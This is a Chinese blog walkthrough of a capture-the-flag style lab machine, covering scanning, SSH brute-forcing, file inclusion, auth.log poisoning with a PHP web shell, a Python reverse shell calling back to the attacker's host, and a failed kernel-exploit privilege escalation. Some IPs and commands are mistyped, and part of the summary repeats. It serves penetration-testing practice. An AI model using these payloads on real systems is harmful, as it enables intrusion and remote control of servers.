靶机练习2(加强版)

信息收集

扫描网段

nmap 10.9.136.0/24

发现10.9.136.249主机开放了80端口,输入网址进去之后看到了一个土豆,说明这就是靶机了

IP扫描

nmap -A 10.9.136.249

通过这个命令详细扫描该靶机,发现开放ssh端口 7120

敏感目录扫描

dirb http://10.9.136.249

扫描出了 info.php,然后输入网址 http://1009.136.249/info.php通过 F12,可以看到源代码中有个注释<!--include $_GET['zc']-->,猜测这个网页具有文件包含漏洞。

渗透利用

密码爆破

​ 经过前面的信息收集,得知这个 info.php界面可能存在文件包含漏洞并且是Get请求,参数为zc,所以在网址中加上 ?zc=/etc/passwd

image-20230621105156280

可以看到用户信息的内容已经显示在源代码中了,验证了文件包含漏洞,根据显示在源代码中的用户信息,我们可以发现一个普通用户

potato,所以在这里可以先起一个终端进行密码爆破:

hydra -l potato -P webshell.txt -s 7120 ssh://10.9.136.249

文件包含漏洞利用

注入恶意代码

​ 当然,密码爆破不是最终解决方案,我们要尝试其他渗透方案,既然前面发现了文件包含漏洞,那么是否可以利用这个漏洞,查看用户的登录信息,所以在网址中输入http://10.9.136.249/info.php?zc=/var/log/auth.log,可以发现用户登录的信息出现在log文件中了,那么假设我们假装登录,把带有危险命令的登录信息记录到这个文件中,然后就能直接让危险命令出现在这个界面中,从而达到利用目的。

所以可以通过以下命令,将危险命令注入到auth.log文件中,从而让我们能直接利用漏洞:

ssh '<?php system($_GET['cmd']);?>'@10.9.136.5 -p 7120

这个命令意味着,使用 <?php system($_GET['cmd']);?>账户进行ssh远程登录这个网站的服务器,然后我们就能把这条记录成功注入到auth.log文件中了,这段PHP代码 <?php system($_GET['cmd']);?>的意思就是提供GET请求,允许通过cmd参数来执行系统命令。

image-20230621105528879

恶意代码测试

​ 在输入以上命令之后(密码随意,我们成功将恶意代码注入到 auth.log文件,我们回到 php.info界面,在网址中输入:

http://10.9.136.249/info.php?zc=/var/log/auth.log&cmd=ls

然后按F12我们可以看到源代码中确实出现了当前目录下的文件信息,致此我们恶意代码利用成功。

反弹Shell渗透

​ 通过以上的恶意代码注入,并且测试成功之后,我们可以直接输入命令来操作服务器了,那么我们如何拿到服务器的shell呢?自然而然我们要有这个思维,既然我们可以操作目标服务器,那我们就可以让目标服务器去主动连接我们的 kali,从而达到反弹shell获取权限的目的。

​ 所以,我们首先要在 kali中使用瑞士军刀(nc)开启监听:

nc -lvvp 8888

监听开启之后,我们要使用下面这段Python代码来主动连接我们的 kali

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.136.152",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

所以我们可以借助前面的 恶意代码提供的 cmd 参数发起GET请求,执行上面的代码,完成对 kali的连接,所以我们可以编写POC如下:

POC

http://10.9.136.249/info.php?zc=/var/log/auth.log&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.136.152",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

注意:POC中的IP是我们kaliIP,端口是我们kali监听的端口

然后将上面的POC输入到网址,我们可以发现网页标签正在转圈圈,说明这个网站的服务器正在连接我们的 kali了,然后我们来到kali,可以看到控制台已经出现网站目录了,到这我们就成功渗透进入该网站服务器了,但是这个权限还是普通的用户权限。所以我们还要继续渗透,提升到root权限。

找到普通用户密码

​ 进入网站的服务器之后,我们来到家目录下的potato目录,通过 ls -a可以看到一个隐藏的 password.txt文件,查看文件内容如下所示:

image-20230621123752010

这个获取是一个通过某种规则加密过后的密文,将密文复制到百度上一搜索,发现这是 brainfuck语言加密的,我们可以通过 https://www.splitbrain.org/services/ook 网址在线解密:

image-20230621173622517

解密结果为:emN5eWRzMjAyMg==,这个结果看上去是个Base64编码的格式,所以把这个结果放到 Base64 在线解码网站,可以获得明文密码:zcyyds2022,所以得出结论,这个密码是通过 Base64 + brainfuck双重加密的。

在拿到上面的密码之后,我们通过用户 potato进行ssh登录:

ssh potato@10.9.136.249 -9 7120

输入密码之后,成功登录,至此,我们成功登录进该网站的普通用户目录。

尝试提权

​ 进入普通用户之后,查找相关目录,没有发现什么线索,所以想到的是查找一下该服务器的内核版本,看看这个版本的服务器有没有提权漏洞:

uname -a

通过上面的命令,我们可得知该系统的版本为:ubuntu 4.14,然后去 kali使用 searchsploit 工具搜索 linux内核漏洞库:

searchsploit ubuntu 4.14

通过漏洞库的exp名字,输入该命令下载exp:

searchsploit -m 41720.c

下载之后,我们可以打开http服务:

python3 -m http.server 80

然后在靶机中输入该命令下载exp:

wget http://10.9.136.249/41720.c

下载之后,由于这个exp是C语言,所以我们需要将他编译

gcc 41720.c -o exp

以上的命令的意思是将该C文件使用gcc编译为exp,然后通过chmod 777 exp将exp变为可执行文件。然后输入 ./exp执行编译之后的C语言文件

提权失败

在执行文件之后,发现报错了,根据错误提示,可能是漏洞利用库的文件用错了,然后我们可以尝试去下载其他的漏洞文件去编译,然后执行,但是所有的文件尝试之后,都无法提权成功,很多都会报错类似于GCC版本的错误。

失败原因:

1.漏洞利用文件使用不恰当

2.gcc版本编译不兼容

解决方案

所以我猜测,应该是GCC编译的时候和C语言文件利用的一些库版本不兼容,所以我们可以通过命令gcc -v查看一下该GCC的版本,发现靶机的 gcc版本很低,然而我们的 kaligcc版本比较高,所以我们可以将C语言文件在kali编译好之后,再传到靶机,如果还是不行,就换 gcc的其他版本(可以使用其他虚拟机,比如centos7试试)去编译C语言文件,再传到靶机,利用内核漏洞只能通过这种方式了,因为靶机的普通用户无法修改gcc的版本。

总结

​ 通过这次靶场练习,我发现任何登录都能使用密码爆破(前提是靶场不会封IP),当然密码爆破是毫无办法的时候的手段,因为一般情况下,密码爆破的成功率极低,只能寻求个心理安慰,所以我们要尽量利用网站暴露的其他漏洞,不要寄托于密码爆破。

	在我们进行敏感目录扫描之后,我们最好每个目录都使用`F12`开发者工具查看,这样就能看到更加详细的信息,获取能发现开发人员在制作网站的时候留下的痕迹,从而让我们利用。

​ 渗透进普通用户的服务器之后,如果没有找到 root用户的密码,我们可以尝试查找系统内核漏洞,然后将漏洞利用代码上传到靶机进行执行,但是一般情况下,我们是无法在网站的根目录下使用 wget命令去下载的,因为这个目录一般不对普通用户开放写权限,所以我们如果想在靶机上下载漏洞利用文件,我们可以到所有用户的共享目录 /tmp中去下载。

作网站的时候留下的痕迹,从而让我们利用。

​ 渗透进普通用户的服务器之后,如果没有找到 root用户的密码,我们可以尝试查找系统内核漏洞,然后将漏洞利用代码上传到靶机进行执行,但是一般情况下,我们是无法在网站的根目录下使用 wget命令去下载的,因为这个目录一般不对普通用户开放写权限,所以我们如果想在靶机上下载漏洞利用文件,我们可以到所有用户的共享目录 /tmp中去下载。

​ 但是,有的时候虽然找到了内核漏洞,但是由于gcc编译版本的原因,我们无法在靶机上正常执行exp,所以我们要考虑使用其他版本的gcc去编译C文件,然后再传到靶机,从而避免版本兼容问题。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值